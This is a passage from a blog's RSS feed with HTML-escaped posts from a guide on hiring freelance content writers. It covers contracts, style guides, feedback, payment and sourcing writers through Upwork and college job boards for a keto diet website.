&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Four - Working with Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>You can&amp;rsquo;t judge a writer&amp;rsquo;s skill accurately until they produce content for you. The paid trial is where the evaluation process truly begins. Use this time to observe how well the two of you communicate and how much coaching or editing they need before their writing matches what you want.&lt;/p></description><content:encoded>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Four - Working with Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>You can&amp;rsquo;t judge a writer&amp;rsquo;s skill accurately until they produce content for you. The paid trial is where the evaluation process truly begins. Use this time to observe how well the two of you communicate and how much coaching or editing they need before their writing matches what you want.&lt;/p>
&lt;h2 id="send-a-kickoff-email">Send a kickoff email&lt;/h2>
&lt;p>Once I decide to hire a writer, I send them a kickoff email. Below, I&amp;rsquo;ve included an actual kickoff email I sent to one of my writers:&lt;/p>
&lt;blockquote>
&lt;p>I’ve just sent over the contract for you to sign. Let me know if you have any questions.&lt;/p>
&lt;p>Once you sign, you can begin working. The first article I’d like you to write is &lt;strong>Green Beans&lt;/strong>. You can put the text in this shared document:&lt;/p>
&lt;p>&lt;a href="https://docs.google.com/document/d/1C3uLqvOhqPDuLftkgSad8ZT6PdFBTDWk3hGn4c0c1vw/edit?usp=sharing">https://docs.google.com/document/d/1C3uLqvOhqPDuLftkgSad8ZT6PdFBTDWk3hGn4c0c1vw/edit?usp=sharing&lt;/a>&lt;/p>
&lt;p>Here is the site style guide:&lt;/p>
&lt;p>&lt;a href="https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit?usp=sharing">https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit?usp=sharing&lt;/a>&lt;/p>
&lt;p>Please bill for the time that it takes you to learn the style guide and research the basics of the keto diet. I know there’s a lot in the style guide, so I’m not expecting you to get it perfect on your first try, but do your best to adhere to it.&lt;/p>
&lt;p>You can enter your hours in this spreadsheet:&lt;/p>
&lt;p>&lt;a href="https://docs.google.com/spreadsheets/d/1LDMdzBiNDkiL3EdsOhP9yxDETjcXaRlAXV03Cd6gViI/edit?usp=sharing">https://docs.google.com/spreadsheets/d/1LDMdzBiNDkiL3EdsOhP9yxDETjcXaRlAXV03Cd6gViI/edit?usp=sharing&lt;/a>&lt;/p>
&lt;p>Limit your time on this first assignment to 5 hours. If you’re approaching 4.5 hours, and you’re not finished, take the last half hour to organize the work you have so far, and share your progress with me. There’s not a ton of urgency on this, but if you could let me know what day to expect the work, that would be helpful.&lt;/p>
&lt;p>Can you also send me a mailing address where I should send your checks? I&amp;rsquo;ll mail the first one on Saturday, September 7th for any hours you&amp;rsquo;ve worked through 9/6.&lt;/p>&lt;/blockquote>
&lt;p>Several critical things are happening in this email:&lt;/p>
&lt;ul>
&lt;li>It clarifies that the writer&amp;rsquo;s work must be &lt;strong>under contract&lt;/strong>.&lt;/li>
&lt;li>It provides a &lt;strong>style guide&lt;/strong> and lays out my expectations around it.&lt;/li>
&lt;li>It &lt;strong>timeboxes&lt;/strong> the assignment to prevent billing surprises.&lt;/li>
&lt;li>It instructs &lt;strong>how to bill me&lt;/strong> for their hours.&lt;/li>
&lt;li>It explains &lt;strong>how I will pay them&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>I describe each of these elements in detail below.&lt;/p>
&lt;h2 id="create-a-contract">Create a contract&lt;/h2>
&lt;p>When you hire a writer, you need a contract to eliminate any ambiguity about the relationship. Can the writer resell their content to other sites, or do you require full rights to their work? A clear contract minimizes misunderstandings and legal disputes later on.&lt;/p>
&lt;p>Creating a contract is easier than it sounds. There are plenty of free, example contracts online for freelance writing. Obviously, the best contract is one that your lawyer creates for you, but if you can&amp;rsquo;t afford a lawyer, an online template is infinitely better than no contract at all.&lt;/p>
&lt;p>I used &lt;a href="https://web.archive.org/web/20210801142151/https://www.docracy.com/0vc0u7keb75/work-for-hire-freelance-writing-master-agreement">this template&lt;/a> with some modifications and then used &lt;a href="https://www.docracy.com">Docracy&lt;/a> to collect e-signatures from my writers.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Sidenote&lt;/strong>: I find the Docracy interface buggy and unintuitive. I only mention it because it&amp;rsquo;s the service I used, but if you find a better service, choose that (and tell me about it).
&lt;/div>

&lt;p>If you hire through a freelancing marketplace, they likely have a default contract that does what you want. For example, Upwork&amp;rsquo;s &lt;a href="https://www.upwork.com/legal#optional-service-contract-terms">default contract&lt;/a> assigns all intellectual property rights to the client, so you probably don&amp;rsquo;t need an additional contract.&lt;/p>
&lt;h2 id="keep-your-first-assignment-small-and-easy">Keep your first assignment small and easy&lt;/h2>
&lt;p>No matter how good your writer is, there&amp;rsquo;s always a learning curve as they figure out how to write content that matches what you want. You can accelerate their learning by keeping a tight feedback loop. Start them out with small, simple assignments. As they master the easy stuff, gradually progress to more complicated and substantial projects.&lt;/p>
&lt;h2 id="timebox-early-assignments">Timebox early assignments&lt;/h2>
&lt;p>If you&amp;rsquo;re paying by the hour, it&amp;rsquo;s critical to timebox your freelancer&amp;rsquo;s work. Otherwise, you might assign them what you think is a 30-minute task only to be gobsmacked by a 15-hour invoice. Unexpectedly high hours are not necessarily an indicator that the writer&amp;rsquo;s trying to rip you off. Writing assignments vary widely in thoroughness, so it&amp;rsquo;s crucial to align everyone&amp;rsquo;s expectations.&lt;/p>
&lt;p>Here&amp;rsquo;s the instruction I give to my new writers:&lt;/p>
&lt;blockquote>
&lt;p>Limit your time on this first assignment to 5 hours. If you’re approaching 4.5 hours, and you’re not finished, take the last half hour to organize the work you have so far, and share your progress with me.&lt;/p>&lt;/blockquote>
&lt;p>As you work together more, give the writer more autonomy by increasing these hours caps or eliminating them entirely.&lt;/p>
&lt;h2 id="use-a-style-guide-to-enforce-consistency">Use a style guide to enforce consistency&lt;/h2>
&lt;p>Do you want the content on your site to be formal and serious? Or do you want it to be irreverent and a little bit silly? Your writers won&amp;rsquo;t know what type of writing you want unless you tell them. This is even more important if you&amp;rsquo;re working with multiple writers. Otherwise, you end up with one article on your site that&amp;rsquo;s sterile and highly scientific, while another is filled with teen slang and animated gifs.&lt;/p>
&lt;p>Your style guide tells your writers what kind of writing you want and what conventions to follow. Here&amp;rsquo;s the &lt;a href="https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit#heading=h.ir7foaxm26ky">style guide for Is It Keto&lt;/a>:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 825px">



 &lt;a href="https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit#heading=h.ir7foaxm26ky">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 825px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide_hu_af4e8320745cc864.jpg 300w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide_hu_3998ba7ee12968df.jpg 600w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide_hu_17565db0fe2ab08.jpg 800w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide_hu_4d7a94bdb4e58b3e.jpg 1200w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide.jpg 1200w'
 src="https://mtlynch.io/hiring-content-writers/4-working-with-writers/style-guide.jpg" alt="Screenshot of Is It Keto&amp;#39;s style guide" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto&amp;rsquo;s &lt;a href="https://docs.google.com/document/d/1Uy19xtf_PFW0LJ2Zj6cSkH2dhHED8PCjHCtup1_IQ_4/edit#heading=h.ir7foaxm26ky">style guide&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Resist the temptation to create rules for every imaginable scenario. Limit the style guide to issues that come up frequently for your site. For example, Is It Keto focuses on the keto diet, so its style guide explains how to format food measurements and how to abbreviate words like &amp;ldquo;carbohydrates&amp;rdquo; and &amp;ldquo;ketogenic.&amp;rdquo;&lt;/p>
&lt;p>Make it a Google Doc or a wiki so that there&amp;rsquo;s a single, authoritative version that&amp;rsquo;s easy to update. If the style guide is trapped in an email or PDF, it&amp;rsquo;s difficult to ensure that everyone&amp;rsquo;s working from the latest version.&lt;/p>
&lt;p>Your style guide is a living document, and you should continue updating it as you work with your writers. For example, if you see a writer omitting the &lt;a href="https://en.wikipedia.org/wiki/Serial_comma">Oxford comma&lt;/a>, but you&amp;rsquo;re an ardent supporter, it&amp;rsquo;s short-sighted to simply correct the mistake. Instead, update your style guide to mention that writers should use the Oxford comma, and point the writer to this new section.&lt;/p>
&lt;p>Add to your style guide judiciously. The longer the guide, the harder it is for people to learn it.&lt;/p>
&lt;p>I pay my writers to learn the style guide. It&amp;rsquo;s helpful for the relationship because it shows them right out of the gate that I respect their time. It distinguishes me from clients who disrespect the business relationship by demanding unpaid work.&lt;/p>
&lt;h2 id="agree-on-an-editing-workflow">Agree on an editing workflow&lt;/h2>
&lt;p>Your writer&amp;rsquo;s first draft will likely require editing, guidance, and feedback. A clearly defined workflow for revisions minimizes pain and wasted effort during this process.&lt;/p>
&lt;p>Here&amp;rsquo;s the editing workflow I use for Is It Keto:&lt;/p>
&lt;ol>
&lt;li>I create a Google Doc with &lt;a href="https://docs.google.com/document/d/1C3uLqvOhqPDuLftkgSad8ZT6PdFBTDWk3hGn4c0c1vw/edit?usp=sharing">an article template&lt;/a>.&lt;/li>
&lt;li>I share the Google Doc with the writer and ask them to fill in the template.&lt;/li>
&lt;li>The writer emails me to let me know when they have a draft ready for me to review.&lt;/li>
&lt;li>I add margin comments to the Google Doc and make inline edits in &amp;ldquo;Suggesting&amp;rdquo; mode.&lt;/li>
&lt;li>I email the writer to let them know that my edits are complete.&lt;/li>
&lt;li>Repeat steps 3-5 until the article is ready to publish.&lt;/li>
&lt;/ol>
&lt;p>As you continue working together, focus on minimizing the rounds of review. Look for patterns of error, and think about whether changes in your style guide could prevent them.&lt;/p>
&lt;h2 id="give-tactful-feedback">Give tactful feedback&lt;/h2>
&lt;p>Good freelancers take pride in their work, so keep that in mind as you provide feedback. If your feedback is rude or insulting, you make the freelancer&amp;rsquo;s job less pleasant and shorten the lifespan of your working relationship. This is not to say that you should withhold criticism, but you should provide it in a way that&amp;rsquo;s tactful and helpful.&lt;/p>
&lt;p>When you give feedback:&lt;/p>
&lt;ul>
&lt;li>Be specific&lt;/li>
&lt;li>Focus on the writing, not the writer&lt;/li>
&lt;li>Consider whether your instructions are the problem&lt;/li>
&lt;/ul>
&lt;p>Freelancers consistently tell me that clear, empathetic feedback is the key factor that separates the good clients from the bad. Surprisingly, rude feedback seems to be the norm rather than the exception. This means that you stand out as an exceptionally pleasant client merely by providing a basic level of courtesy on par with a face to face interaction.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>&lt;font color="red">Bad&lt;/font>&lt;/strong>: You did a terrible job on the first paragraph. Rewrite it.&lt;/p>&lt;/blockquote>
&lt;p>This is poor feedback because it&amp;rsquo;s vague and pushy. It also frames the criticism as a personal attack instead of focusing on the work itself.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>&lt;font color="green">Good&lt;/font>&lt;/strong>: I had difficulty following the first paragraph. The sentence structure is repetitive, and it uses the passive voice too heavily.&lt;/p>&lt;/blockquote>
&lt;p>This is a more tactful rewrite of the feedback above. It calls out specific problems with the writing, and it avoids the word &amp;ldquo;you&amp;rdquo; so that the writer doesn&amp;rsquo;t feel that this is a personal attack.&lt;/p>
&lt;h2 id="decide-whether-to-terminate-a-writer">Decide whether to terminate a writer&lt;/h2>
&lt;p>As you review the writer&amp;rsquo;s first few drafts, look out for signs that you should terminate the relationship:&lt;/p>
&lt;ul>
&lt;li>Their writing includes careless errors such as grammar or spelling mistakes.&lt;/li>
&lt;li>They repeatedly violate your style guide.&lt;/li>
&lt;li>They miss deadlines.&lt;/li>
&lt;li>They bill a higher number of hours than you can afford long-term (if you&amp;rsquo;re paying hourly).&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s a bit of an art to decide when to bail on a writer. My own process is to be fairly accepting on a first draft — it&amp;rsquo;s okay if they&amp;rsquo;re still struggling to learn my style guide, but I&amp;rsquo;ll end the relationship over egregious spelling or grammatical errors. By draft two or three, I expect the writing to be close to publication-quality, but they&amp;rsquo;re usually still learning the nuances of my desired style.&lt;/p>
&lt;p>Remember that &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/#resist-the-temptation-to-fix-bad-writers">it&amp;rsquo;s hopeless to fix an unskilled writer&lt;/a>. If their writing is illogical, boring, difficult to understand, or syntactically incorrect, it&amp;rsquo;ll stay that way for years.&lt;/p>
&lt;p>If a writer fails to meet your standards, see the section on &lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">terminating writers&lt;/a>.&lt;/p>
&lt;h2 id="pay-promptly">Pay promptly&lt;/h2>
&lt;p>&lt;a href="http://whopayswriters.com">Who Pays Writers&lt;/a> is a crowdsourced collection of freelancers&amp;rsquo; working experiences. Promptness of payment is one of the strongest factors in these reviews. Writers value clients who pay the freelancer in full soon after the work completes.&lt;/p>
&lt;p>To maintain a healthy relationship with your freelancers, define when they should expect payment, and meet those expectations. On freelancing platforms like Upwork, this is straightforward, as you simply need to approve hours when prompted. If you&amp;rsquo;re working with a writer directly, you&amp;rsquo;ll have to apply more diligence.&lt;/p>
&lt;p>When I pay writers directly (rather than through a freelancing platform), I ask them to enter their hours in a shared &lt;a href="https://docs.google.com/spreadsheets/d/1LDMdzBiNDkiL3EdsOhP9yxDETjcXaRlAXV03Cd6gViI/edit?usp=sharing">Google Sheets spreadsheet&lt;/a>.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 688px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-1.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 688px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-1_hu_5c0a60b0a9a2257d.jpg 300w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-1_hu_1a2cc1c6ec2309e2.jpg 600w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-1.jpg 688w'
 src="https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-1.jpg" alt="Freelancer hours spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 






&lt;div class="img" style="max-width: 688px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-2.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 688px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-2_hu_2da83dd044c9334d.jpg 300w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-2_hu_9fe9fcb353f0e48d.jpg 600w, https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-2.jpg 688w'
 src="https://mtlynch.io/hiring-content-writers/4-working-with-writers/spreadsheet-2.jpg" alt="Freelancer payment spreadsheet" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Simple timesheets and invoicing with &lt;a href="https://docs.google.com/spreadsheets/d/1LDMdzBiNDkiL3EdsOhP9yxDETjcXaRlAXV03Cd6gViI/edit?usp=sharing">Google Sheets&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>On alternating Mondays, I mail them a check for the hours they&amp;rsquo;ve accrued in the pay period.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Tip&lt;/strong>: See if your bank offers check mailing as a free service. I use Chase Business Checking, which allows me to use their Bill Payment service to send anyone a physical check for free.
&lt;/div>

&lt;h2 id="meet-regularly-in-person-or-on-video-chat">Meet regularly in person or on video chat&lt;/h2>
&lt;p>If the writer seems like someone you&amp;rsquo;d stick with beyond a paid trial, start scheduling regular meetings in person or via video chat.&lt;/p>
&lt;p>It&amp;rsquo;s tough to maintain a healthy working relationship with someone exclusively through email. I&amp;rsquo;m personally more liable to grow frustrated with my teammates if we only ever communicate in writing.&lt;/p>
&lt;p>I remember a specific instance with Morgan, one of Is It Keto&amp;rsquo;s early writers. She often submitted work that used the &lt;a href="https://www.grammarly.com/blog/passive-voice/">passive voice&lt;/a>, even though it violated the site&amp;rsquo;s style guide. Annoyed, I&amp;rsquo;d often ask myself, &amp;ldquo;Why doesn&amp;rsquo;t she care enough to catch these errors herself?&amp;rdquo;&lt;/p>
&lt;p>When Morgan and I began meeting over video chat, it immediately became apparent that she cared deeply about the quality of her work. Passive voice was just her blind spot. And we all have blind spots for errors in our writing. My &lt;a href="https://mtlynch.io/editor">editor&lt;/a> always criticizes my comma usage but I, have no, idea what she&amp;rsquo;s talking, about.&lt;/p>
&lt;p>Use these meetings as an opportunity to grow as a manager. Be open. Ask if there&amp;rsquo;s anything about the workflow that makes it harder for them to do their best work. Is there anything you can do, as the client, to make the job more pleasant or efficient? Your freelancer might be doing unnecessary work because they mistakenly thought you wanted it that way.&lt;/p>
&lt;p>Recognize that meeting with you is work for your freelancer, so let them know that you&amp;rsquo;ll pay them for their time.&lt;/p>
&lt;h2 id="when-you-find-a-good-writer-invest-in-the-relationship">When you find a good writer, invest in the relationship&lt;/h2>
&lt;p>It probably took a long time to find a writer that matches your needs. Now, it&amp;rsquo;s time to nurture the relationship so that it lasts as long as possible.&lt;/p>
&lt;p>Allow them to share in your mission. If the business is growing thanks to their writing, share those victories with your writer. It&amp;rsquo;s motivating for them to see the impact of their work instead of feeling like they&amp;rsquo;re cranking out thousands of words for a paycheck every few weeks.&lt;/p>
&lt;p>With one of my freelancers, I found that many of my suggestions parroted lessons I learned from &lt;a href="https://smile.amazon.com/Elements-Style-Fourth-William-Strunk/dp/020530902X/">&lt;em>The Elements of Style&lt;/em>&lt;/a> (aka &lt;a href="https://smile.amazon.com/Elements-Style-Fourth-William-Strunk/dp/020530902X/">&lt;em>Strunk and White&lt;/em>&lt;/a>). I asked her if it would be okay if I sent her a copy, and she happily agreed. Later on, she specifically mentioned that gift as something that made her value the job — it demonstrated that I was interested in and supportive of her long-term growth as a writer.&lt;/p>
&lt;h2 id="terminating-writers">Terminating writers&lt;/h2>
&lt;p>If you&amp;rsquo;ve found a good writer, congratulations, you&amp;rsquo;re done!&lt;/p>
&lt;p>More commonly with writers you&amp;rsquo;ve hired on a trial basis, you have to face the unpleasant business of terminating the relationship. The next section explains how to do this cordially and professionally.&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Four - Working with Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring Content Writers: Part One - Finding Writers</title><link>https://mtlynch.io/hiring-content-writers/1-finding-writers/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/1-finding-writers/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part One: Finding Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>There are thousands of working freelance writers in the world, but if you&amp;rsquo;ve never hired one before, you don&amp;rsquo;t know where to find them. In this section, I describe the places where I sought writers and which sources were fruitful.&lt;/p></description><content:encoded>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part One: Finding Writers&lt;/strong> (this section)&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Part Five - Terminating Writers&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>There are thousands of working freelance writers in the world, but if you&amp;rsquo;ve never hired one before, you don&amp;rsquo;t know where to find them. In this section, I describe the places where I sought writers and which sources were fruitful.&lt;/p>
&lt;h2 id="upwork">Upwork&lt;/h2>
&lt;p>&lt;a href="https://www.upwork.com/">Upwork&lt;/a> is a marketplace for freelancers. I don&amp;rsquo;t love it, but it&amp;rsquo;s the best platform I&amp;rsquo;ve found for hiring contractors. It&amp;rsquo;s probably your safest bet if you&amp;rsquo;re hiring writers for the first time.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/upwork-posting.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/1-finding-writers/upwork-posting_hu_bbe269042036d259.jpg 300w, https://mtlynch.io/hiring-content-writers/1-finding-writers/upwork-posting_hu_6fa25d66592fd185.jpg 600w, https://mtlynch.io/hiring-content-writers/1-finding-writers/upwork-posting.jpg 725w'
 src="https://mtlynch.io/hiring-content-writers/1-finding-writers/upwork-posting.jpg" alt="Screenshot of Is It Keto posting on Upwork" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto&amp;rsquo;s &lt;a href="https://www.upwork.com/jobs/~01be2860be57096ab2">job listing on Upwork&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="advantages">Advantages&lt;/h3>
&lt;ul>
&lt;li>Upwork provides many writers in a unified platform.&lt;/li>
&lt;li>Upwork publicly displays everyone&amp;rsquo;s hourly rate, so there&amp;rsquo;s less work for the client in price discovery and negotiation.&lt;/li>
&lt;li>Upwork has a built-in escrow service, so freelancers are unlikely to defraud you.
&lt;ul>
&lt;li>In disputes, Upwork generally sides with clients, much to the chagrin of honest freelancers who get stuck with bad clients.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Upwork manages time-tracking and invoicing, making it simple to pay your freelancer.&lt;/li>
&lt;li>Upwork handles all tax reporting, so you don&amp;rsquo;t need to collect tax information from your freelancer.&lt;/li>
&lt;li>Upwork provides a default contract, so you don&amp;rsquo;t need to draft your own freelancing agreement.&lt;/li>
&lt;/ul>
&lt;h3 id="disadvantages">Disadvantages&lt;/h3>
&lt;ul>
&lt;li>Upwork &lt;a href="https://www.upwork.com/legal#fees">collects fees&lt;/a> from both the client and the freelancer, effectively making it ~13-23% more expensive to hire someone.&lt;/li>
&lt;li>Once you begin working with someone through Upwork, you&amp;rsquo;re contractually bound to pay them exclusively through Upwork for two years.&lt;/li>
&lt;li>Upwork attracts cheap, abusive clients, which has caused many talented writers to abandon the platform.&lt;/li>
&lt;li>Upwork &lt;a href="https://mtlynch.io/upwork-scammer/">fails to eliminate phony freelancers&lt;/a> from its system.&lt;/li>
&lt;/ul>
&lt;h2 id="college-job-boards">College job boards&lt;/h2>
&lt;p>College job boards are a hidden gem for hiring content writers. At the start of the school year, I posted job listings on the online student job boards for two of my local colleges. Here were my results after three weeks:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>School&lt;/th>
 &lt;th>Applications&lt;/th>
 &lt;th>Trial hires&lt;/th>
 &lt;th>Permanent hires&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Large state school&lt;/td>
 &lt;td>17&lt;/td>
 &lt;td>3&lt;/td>
 &lt;td>1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Small liberal arts school&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>1&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>The quality of candidates is on par with Upwork, but the wages are far lower. On Upwork, writers typically charge between $30-$75/hr. In my area, typical wages for student jobs are $11-$15/hr.&lt;/p>
&lt;p>I offered $13/hr, which is competitive, given the job&amp;rsquo;s flexibility. Students can write articles for me whenever they want from wherever they want. Most student employment is babysitting or administrative work, which requires the employee to appear in a specific place on a rigid schedule. The freedom of a writing gig makes a substantial difference.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting_hu_276fb2b1b465f7c1.jpg 300w, https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting_hu_51424f1fe1729fc8.jpg 600w, https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting_hu_57f68aceab84cd7e.jpg 800w, https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting.jpg 957w'
 src="https://mtlynch.io/hiring-content-writers/1-finding-writers/college-job-board-posting.jpg" alt="Is It Keto posting on a college job board" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto&amp;rsquo;s job listing on a local college job board&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The best candidates had experience writing for college publications. In the future, I may try reviewing college newspapers and reaching out to student journalists whose writing I like.&lt;/p>
&lt;h2 id="personal-referrals">Personal referrals&lt;/h2>
&lt;p>One technique I used was just asking my friends if they knew any freelance writers. I found two writers this way, and they were among the top in terms of quality. They made the fewest grammatical errors and produced writing that was lively and interesting. They were also among my most expensive hires at $50/hr and $60/hr.&lt;/p>
&lt;p>Oddly, they were also the writers that created the most logistical problems. With both of them, there were a high number of miscommunications and missed deadlines. They also fared worse at fixing their errors. They wrote content that mostly adhered to my style guide, but any mistakes they made, they kept repeating. Other writers were better at fixing bad habits after I pointed them out.&lt;/p>
&lt;h2 id="printed-flyers">Printed flyers&lt;/h2>
&lt;p>I live in South Hadley, MA, close to many liberal arts colleges. Before I discovered &lt;a href="#college-job-boards">college job boards&lt;/a>, I tried putting up flyers on a college campus and around my town.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/isitketo-flyer.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 400px, 98vw"
